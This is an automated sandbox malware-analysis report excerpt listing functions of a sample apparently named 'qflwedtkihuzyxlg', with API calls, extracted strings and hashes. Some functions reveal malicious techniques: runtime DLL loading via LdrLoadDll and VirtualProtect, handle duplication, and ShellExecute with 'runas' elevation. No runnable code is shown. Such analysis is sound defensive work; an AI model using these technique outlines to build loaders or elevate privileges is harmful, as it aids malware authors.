Instruction ID: 51c17bda5550c200c6a7833989ba10c1f01f7f1d71f016f092b22249ce240b3a
Opcode Fuzzy Hash: bee50609d48680672ec4ce2c0c4a1a451abafc65ea03e729ec3c053ffa5d7b5f
Instruction Fuzzy Hash: 0A618072B50B8085EB12DBAAD4903DD23A1E74D7E8F40462AFF1957AE9DA74C9928340

Function 00000001400457E0 Relevance: 1.6, APIs: 1, Instructions: 129COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0000000140045975

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 57e14eedc3db5795ffff9d12aca2d44c1fd382eb16d68b678ef484cfbb38d1dd
Instruction ID: 88a164151cc8353faf59e75a2abb20e029c8a58e390f0121c60b982c8f58206e
Opcode Fuzzy Hash: 57e14eedc3db5795ffff9d12aca2d44c1fd382eb16d68b678ef484cfbb38d1dd
Instruction Fuzzy Hash: 5041BE72315B8481EA12AF53A5443DD6366F70DBE5F580626EFAD0B7A6DF38C8518304

Function 0000000140068E10 Relevance: 1.6, APIs: 1, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0000000140068FB7

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 3ca5a596abae82c5beaedcc97ad171be8b398c698ba23fca67d6eaf684395d5e
Instruction ID: a8b7f740e5727dd0a264cb86b963a28a7e27e3baa3b8875c7ee84e72e62c9bd8
Opcode Fuzzy Hash: 3ca5a596abae82c5beaedcc97ad171be8b398c698ba23fca67d6eaf684395d5e
Instruction Fuzzy Hash: A5416176214B8481DA25DB56E9443AEA7A2F74DBD0F644A25FFAD07BA5DF38C0408300

Function 0000000140049B50 Relevance: 1.6, APIs: 1, Instructions: 118COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0000000140049CB4

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 8ad7b040c48841c91d85651ae4d5f776a6cceb38cadd3d327a1d9791362c5fc2
Instruction ID: f5b53a7c84f3c57b699410a8f40d1b1cef91bbf0bd55efa4dec6dd978c0eadb8
Opcode Fuzzy Hash: 8ad7b040c48841c91d85651ae4d5f776a6cceb38cadd3d327a1d9791362c5fc2
Instruction Fuzzy Hash: D831AD72315A8441EE26DB67A4847EA6394B349FE8F954A35FFAD07BE5DE38C041C304

Function 000000014007DE00 Relevance: 1.6, APIs: 1, Instructions: 107COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNEL32 ref: 000000014007DE90

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 0018316be6e54bf9fefa1b9137a9c07aad1c3d6f075b3350d91cdd48eb727c42
Instruction ID: 8539878be2e9e902c4f952c8f8a1d6be5ec9f83221bb27399ebc538b0e08667e
Opcode Fuzzy Hash: 0018316be6e54bf9fefa1b9137a9c07aad1c3d6f075b3350d91cdd48eb727c42
Instruction Fuzzy Hash: FE519C32A14B808AE712CF69E8403DD73B0F799798F504216EB8C57AA9DF78C685CB40

Function 000000014009913C Relevance: 1.6, APIs: 1, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000000140099164

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3bf68b98c4e4d5055eca90d70818410e9c6b64531da33e3d6cbcec56e46eb5a9
Instruction ID: e8858ff0fec7026d46d52c93e3e982fb4afd14998ecd62c25ef9218b9df49fb2
Opcode Fuzzy Hash: 3bf68b98c4e4d5055eca90d70818410e9c6b64531da33e3d6cbcec56e46eb5a9
Instruction Fuzzy Hash: 5141B83220060497EA769F6FE5803EA77A0E79ABD0F140205FB9A877F1CB38D442C750

Function 0000000140044FE9 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4376dfbdd17f238d9b123051183aa5030f8e12ff6b03706b48ff3b261c7c2665
Instruction ID: b9f7c3d18e9fc718e9f68750a2dc55bbda92819f1f2dc940bfb1a0fb0abbe0fe
Opcode Fuzzy Hash: 4376dfbdd17f238d9b123051183aa5030f8e12ff6b03706b48ff3b261c7c2665
Instruction Fuzzy Hash: CF31BE72315B4095EE26AB53E5003EDA362E74CBD1F594632FB5D0BBE6EA38C091C348

Function 000000014003FCD0 Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 000000014003FDD8

Part of subcall function 000000014002B510: __std_exception_copy.LIBVCRUNTIME ref: 000000014002B558

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Concurrency::cancel_current_task__std_exception_copy
String ID:
API String ID: 317858897-0
Opcode ID: 140746f23e19100d68b1a47df352b91b28a26b04a5eed73ec1ebd758df0032de
Instruction ID: 97e6037b4797a068ef0178edcbe608246ecf14e62a64900bd4ebe1e7e1eb7f9f
Opcode Fuzzy Hash: 140746f23e19100d68b1a47df352b91b28a26b04a5eed73ec1ebd758df0032de
Instruction Fuzzy Hash: 2321D232711B4441EE1BAB56A5043FA2391EB58BE4F244721EB7C07BE2EB78C9D29300

Function 000000014009ABD4 Relevance: 1.6, APIs: 1, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000000014009ACCB

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c89b410e1389cb82359957a1d11d0eb726d726846ac3ab4cc0b188c027a385d4
Instruction ID: 8c05ef98f207ced81cdebc3070fd8dbcc834d1fcd774f14c22416a124c273843
Opcode Fuzzy Hash: c89b410e1389cb82359957a1d11d0eb726d726846ac3ab4cc0b188c027a385d4
Instruction Fuzzy Hash: E3318DB221060086E753AF57C8413ED7A61A79DFE5F924209FB290B3F2DB78C485C765

Function 000000014009FF81 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000000014009FFAF

Part of subcall function 00000001400A00B4: GetModuleHandleExW.KERNEL32 ref: 00000001400A00D9
Part of subcall function 00000001400A00B4: GetProcAddress.KERNEL32 ref: 00000001400A00EF
Part of subcall function 00000001400A00B4: FreeLibrary.KERNEL32 ref: 00000001400A0116

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 6f470f8dda504ea2c6696702d6c6df831c5a7e6bb14415fde04cade51a1e4a45
Instruction ID: f99bd018723e0a5e74f5149f53b0b551624bc39cb2b7f44deffbf3c3ea7ec64b
Opcode Fuzzy Hash: 6f470f8dda504ea2c6696702d6c6df831c5a7e6bb14415fde04cade51a1e4a45
Instruction Fuzzy Hash: 97219A32A00B848AEB268F69C4503EC37B0F709798F24462AE72847AE5DB34C584CB40

Function 00000001400B9758 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000001400B96B5

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: f7592383a6c98d4fba61f7e3dde42e88bd2e4ab2cac1154d67cb9460cc1e3cec
Instruction ID: fc355d5895d30ffd1540380ba59b71e238b03132919f1238a9496d9e0c5d9a9e
Opcode Fuzzy Hash: f7592383a6c98d4fba61f7e3dde42e88bd2e4ab2cac1154d67cb9460cc1e3cec
Instruction Fuzzy Hash: B1118132214A4081EA62AF9394113EEA3B1BB9DBC0F544021FF8897BA7EB7DC5414B44

Function 00000001400BBABC Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000001400BBADF

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 0aa9ebfc6785f24b4eccfcde9967f66bba0269257cf9e3546546d224156ecbb2
Instruction ID: 13e69ae66ec78af3e9e7ce95c97f7042131b8b179f5c5ad25fbf63c8b5fe202d
Opcode Fuzzy Hash: 0aa9ebfc6785f24b4eccfcde9967f66bba0269257cf9e3546546d224156ecbb2
Instruction Fuzzy Hash: 1E219332614A4087DB629F5AE4807A977B0F788BD4F644324FB5A876F9DB79C940CB00

Function 00000001400789B0 Relevance: 1.5, APIs: 1, Instructions: 38networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 00000001400789F8

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: 6b025b54e0dcc84b3c2947f32e0b7f6b98a3280ab38bb9e29cf354069e188991
Instruction ID: 72c448f64851b44ef0d47f291fbcb967c8de0864198b92fcea4cfbeab45c03dd
Opcode Fuzzy Hash: 6b025b54e0dcc84b3c2947f32e0b7f6b98a3280ab38bb9e29cf354069e188991
Instruction Fuzzy Hash: 97016D32715A8481EB618F1BB94075AA7A0F78CFD4F585135EF9D43B58EA38C8518740

Function 0000000140035813 Relevance: 1.5, APIs: 1, Instructions: 33fileCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNEL32 ref: 0000000140035856

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 19dd94a82b446fece43c3ec0608a8bfd2a43b21f44985dc4239452c70dc369fc
Instruction ID: 46c86765a48e0a4325b0ce012d2570db63820add8cc189426e9b10953f9b7d6b
Opcode Fuzzy Hash: 19dd94a82b446fece43c3ec0608a8bfd2a43b21f44985dc4239452c70dc369fc
Instruction Fuzzy Hash: DB01FF36208A8085EA72DB56F85439B7364F78CBD5F904122DF8D53B69DE39C886CB00

Function 000000014008C804 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000000014008C823

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 986c70b0d44c87641fd7a2bafc8596790e971a1da67f8b9ca5557413f7120d21
Instruction ID: 850c00b336af4423b93af6fe604bf7543ad1d172a4ae1adb93c9bb4fdbaa00ec
Opcode Fuzzy Hash: 986c70b0d44c87641fd7a2bafc8596790e971a1da67f8b9ca5557413f7120d21
Instruction Fuzzy Hash: D2E0D83262564585EF266B7AE1817ED7260BB4C7F0F148322B734036E6DF3485644611

Function 00000001400B6700 Relevance: 1.5, APIs: 1, Instructions: 9fileCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNEL32 ref: 00000001400B6704

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: d1b5a534f5617b5a49bb6d6dbcc2222ff873ccf4461679138d58d7c7394b5d66
Instruction ID: e5404252072970a5b390b8aee8604883d80fba1bc8fa2517f273712a18d22060
Opcode Fuzzy Hash: d1b5a534f5617b5a49bb6d6dbcc2222ff873ccf4461679138d58d7c7394b5d66
Instruction Fuzzy Hash: 9EC09B39F55902C1F65B1B736C4238F11E07B5D780F804021D30883170DD3C81D74721

Function 00000001400B82F4 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32 ref: 00000001400B82FD

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: ebdd672c62679ada28959d0ce90671b441c0e42cbdf7fd0cd8041d2b6a409d03
Instruction ID: c1f8abdfa3c11aa9de56e1ee108be8b74f057e80f86e55c58f9080c7b4b0d2de
Opcode Fuzzy Hash: ebdd672c62679ada28959d0ce90671b441c0e42cbdf7fd0cd8041d2b6a409d03
Instruction Fuzzy Hash: 4EB09276A148C0C3C652EB08F84274A7331FB98B08FD00014E38D43624CE2DCA2A8E10

Function 00000001400992A8 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00000001400992FD

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 5961d92c925a179c987542017da37781590624abdb876bc94f4a0419ded4e0ce
Instruction ID: 37cde42a088fce9459df54da6579d377b91e6ac98e04b7dd035e57d67dfb2eda
Opcode Fuzzy Hash: 5961d92c925a179c987542017da37781590624abdb876bc94f4a0419ded4e0ce
Instruction Fuzzy Hash: 42F05E7831220491FF575BABA8653E922856F9DBC0F4C8534BF0A877F1EE3CC9858224

Function 000000014009B5E0 Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 000000014009B61E

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 2a123d78f4d769f4acf099b182ff40896aa8a4043ec30c81b9c6a49c6a9f5ef5
Instruction ID: d17b2792fcd96ab1b0cd15c98c0f9a64d373f884e408e1771f1ce4653c2ec12c
Opcode Fuzzy Hash: 2a123d78f4d769f4acf099b182ff40896aa8a4043ec30c81b9c6a49c6a9f5ef5
Instruction Fuzzy Hash: 9AF01C3470160045FE5766B36A917F921809BDCBF1F494724BF3A872E1DA3CD4828610

Non-executed Functions

Function 00007FF6350D3C70 Relevance: 38.9, APIs: 12, Strings: 10, Instructions: 376libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6350D3C83

Part of subcall function 00007FF6350D3060: GetCurrentProcess.KERNEL32 ref: 00007FF6350D3071
Part of subcall function 00007FF6350D3060: GetTempPathA.KERNEL32 ref: 00007FF6350D30C8
Part of subcall function 00007FF6350D3060: strlen.MSVCRT ref: 00007FF6350D31E7

GetTempPathW.KERNEL32 ref: 00007FF6350D3CEA
wcslen.MSVCRT ref: 00007FF6350D3D0B
wcslen.MSVCRT ref: 00007FF6350D3D29

Part of subcall function 00007FF6351C5AE0: memcpy.MSVCRT ref: 00007FF6351C5B18

strlen.MSVCRT ref: 00007FF6350D3E21
LoadLibraryA.KERNEL32 ref: 00007FF6350D3ED1
GetProcAddress.KERNEL32 ref: 00007FF6350D3EEB
GetProcAddress.KERNEL32 ref: 00007FF6350D3F44
GetProcAddress.KERNEL32 ref: 00007FF6350D3F94
wcslen.MSVCRT ref: 00007FF6350D3FE3
GetProcAddress.KERNEL32 ref: 00007FF6350D40C3
VirtualProtect.KERNEL32 ref: 00007FF6350D40E0

Strings

basic_string::append, xrefs: 00007FF6350D42F3, 00007FF6350D4320
B, xrefs: 00007FF6350D3F6D
&*, xrefs: 00007FF6350D3ED7
zSJlTWS\Execute, xrefs: 00007FF6350D3F4C
LdrLoadDll, xrefs: 00007FF6350D3EE1
:a.dll, xrefs: 00007FF6350D3FD9
Z{,-, xrefs: 00007FF6350D3FF5
4.&.Z{,-, xrefs: 00007FF6350D406F
a.dll, xrefs: 00007FF6350D3D1F
basic_string: construction from null is not valid, xrefs: 00007FF6350D4314

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: AddressProc$wcslen$CurrentPathProcessTempstrlen$LibraryLoadProtectVirtualmemcpy
String ID: &*$4.&.Z{,-$:a.dll$B$LdrLoadDll$Z{,-$a.dll$basic_string: construction from null is not valid$basic_string::append$zSJlTWS\Execute
API String ID: 61348399-2817582949
Opcode ID: 1f8476c20039152cfcb428ce8fdaaa8aabe79512acdc6fe7479142b629008e3b
Instruction ID: 05cfadf6f50fdf3d853d8a6adc613e072d6e1890b6567f3659ad07326c4295bb
Opcode Fuzzy Hash: 1f8476c20039152cfcb428ce8fdaaa8aabe79512acdc6fe7479142b629008e3b
Instruction Fuzzy Hash: 6AF16E62609B8781EA249B15E4403BEB7A1FF85F80F848235DA8E87B98DF7DD945D700

Function 000000014006CE40 Relevance: 26.6, APIs: 14, Strings: 1, Instructions: 329memorycomCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32 ref: 000000014006CEF3
CoInitializeSecurity.OLE32 ref: 000000014006CFA8
CoCreateInstance.OLE32 ref: 000000014006D056
CoSetProxyBlanket.OLE32 ref: 000000014006D0A4
SysAllocStringByteLen.OLEAUT32 ref: 000000014006D0D1
SysFreeString.OLEAUT32 ref: 000000014006D0E1
SysAllocStringByteLen.OLEAUT32 ref: 000000014006D101
SysFreeString.OLEAUT32 ref: 000000014006D112
SysStringByteLen.OLEAUT32 ref: 000000014006D171
SysFreeString.OLEAUT32 ref: 000000014006D1F0
SysFreeString.OLEAUT32 ref: 000000014006D1FA

Strings

@, xrefs: 000000014006D078

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: String$Free$Byte$AllocInitialize$BlanketCreateInstanceProxySecurity
String ID: @
API String ID: 2330523681-2766056989
Opcode ID: 21c4bb65b871f71fe21f81ddc4f75830aaea5bc78b7a295f21c575c4c55c722f
Instruction ID: 13c4367a43189977c099a5a69ece56d153c1723905f586f1ec0b8e4762b49491
Opcode Fuzzy Hash: 21c4bb65b871f71fe21f81ddc4f75830aaea5bc78b7a295f21c575c4c55c722f
Instruction Fuzzy Hash: 5CE19C32B14B808AF7128B7AE8143ED7362F78DBD8F105616EF5D57AA9DB38C1858344

Function 00000001400818F0 Relevance: 24.9, APIs: 11, Strings: 3, Instructions: 361nativelibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00000001400A9B70: AcquireSRWLockExclusive.KERNEL32 ref: 00000001400A9B80

GetModuleHandleA.KERNEL32 ref: 000000014008196A
GetProcAddress.KERNEL32 ref: 000000014008197A
OpenProcess.KERNEL32 ref: 00000001400819BF
NtQuerySystemInformation.NTDLL ref: 00000001400819E7
NtQuerySystemInformation.NTDLL ref: 0000000140081A12
GetCurrentProcess.KERNEL32 ref: 0000000140081ADB
NtDuplicateObject.NTDLL ref: 0000000140081B06
NtQueryObject.NTDLL ref: 0000000140081B28
GetFinalPathNameByHandleA.KERNEL32 ref: 0000000140081C22
CloseHandle.KERNEL32 ref: 0000000140081D36
CloseHandle.KERNEL32 ref: 0000000140081DBE

Strings

NtDuplicateObject, xrefs: 0000000140081973
File, xrefs: 0000000140081B5C
ntdll.dll, xrefs: 0000000140081963

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Handle$Query$CloseInformationObjectProcessSystem$AcquireAddressCurrentDuplicateExclusiveFinalLockModuleNameOpenPathProc
String ID: File$NtDuplicateObject$ntdll.dll
API String ID: 2703470732-3955674919
Opcode ID: ff2cac876151252eea867de112114d9f26b0b20a639872c9057909d7fd806571
Instruction ID: 43999390ae97c19b914307d4292018259307d826750de190b016f2481e9a1557
Opcode Fuzzy Hash: ff2cac876151252eea867de112114d9f26b0b20a639872c9057909d7fd806571
Instruction Fuzzy Hash: 5CE17F72710A809AFB11DBA6D4543ED23A1FB89BD8F408625EF5D27BA9DB38C645C340

Function 0000000140072EC0 Relevance: 16.2, APIs: 1, Strings: 8, Instructions: 434COMMON

Download Yara Rule

APIs

Part of subcall function 00000001400A9B70: AcquireSRWLockExclusive.KERNEL32 ref: 00000001400A9B80

ShellExecuteW.SHELL32 ref: 00000001400733C7

Strings

.exe, xrefs: 0000000140072F6C
runas, xrefs: 0000000140073349
ios_base::badbit set, xrefs: 00000001400735BC
ios_base::eofbit set, xrefs: 00000001400735CE
open, xrefs: 0000000140073340
ios_base::failbit set, xrefs: 00000001400735C7
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+=-&^%$#@!(){}[},.;', xrefs: 0000000140072FDC
.exe, xrefs: 0000000140072F95

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: AcquireExclusiveExecuteLockShell
String ID: .exe$.exe$abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+=-&^%$#@!(){}[},.;'$ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set$open$runas
API String ID: 1402300192-2441601502
Opcode ID: 4704bf0709a88d776f81fce5523ccd0aa5440fb2bacf697a3c9343750674c220
Instruction ID: 642fec826a1e3fd6779540e5d4449cad4a9ba132e9692004461db3030459b409
Opcode Fuzzy Hash: 4704bf0709a88d776f81fce5523ccd0aa5440fb2bacf697a3c9343750674c220
Instruction Fuzzy Hash: 7B229C72610B8089EB01DF6AE8843DD77A1F7887A8F505226FB9D07AB9DF78C585C740

Function 00007FF6350ED367 Relevance: 14.4, APIs: 5, Strings: 3, Instructions: 431COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF6350EE0B6

Strings

, xrefs: 00007FF6350EDEC0
P, xrefs: 00007FF6350EE454
P, xrefs: 00007FF6350EE9B3

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: memset
String ID: $P$P
API String ID: 2221118986-3733749394
Opcode ID: 6c4975efa101d25bce8fb2713dfa8b24bac3f22bc36ad2dce6f035114948cbbe
Instruction ID: 356f365328efd8fe0766c17281edf82593604377aa00a6c256227401a8f9fe18
Opcode Fuzzy Hash: 6c4975efa101d25bce8fb2713dfa8b24bac3f22bc36ad2dce6f035114948cbbe
Instruction Fuzzy Hash: 6C12B133A0CA878AE760DF64E4407BEB7A1FB80B44F604139DA4997785DF7EE8459B40

Function 00007FF6350D34D0 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 406fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6351DAB80: malloc.MSVCRT ref: 00007FF6351DAB97

memcpy.MSVCRT ref: 00007FF6350D3516
CreateFileW.KERNEL32 ref: 00007FF6350D356D
WriteFile.KERNEL32 ref: 00007FF6350D359D
CloseHandle.KERNEL32 ref: 00007FF6350D35AE
wcslen.MSVCRT ref: 00007FF6350D3686
CloseHandle.KERNEL32 ref: 00007FF6350D38C0

Strings

basic_string::append, xrefs: 00007FF6350D3C06, 00007FF6350D3C44, 00007FF6350D3C55

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: CloseFileHandle$CreateWritemallocmemcpywcslen
String ID: basic_string::append
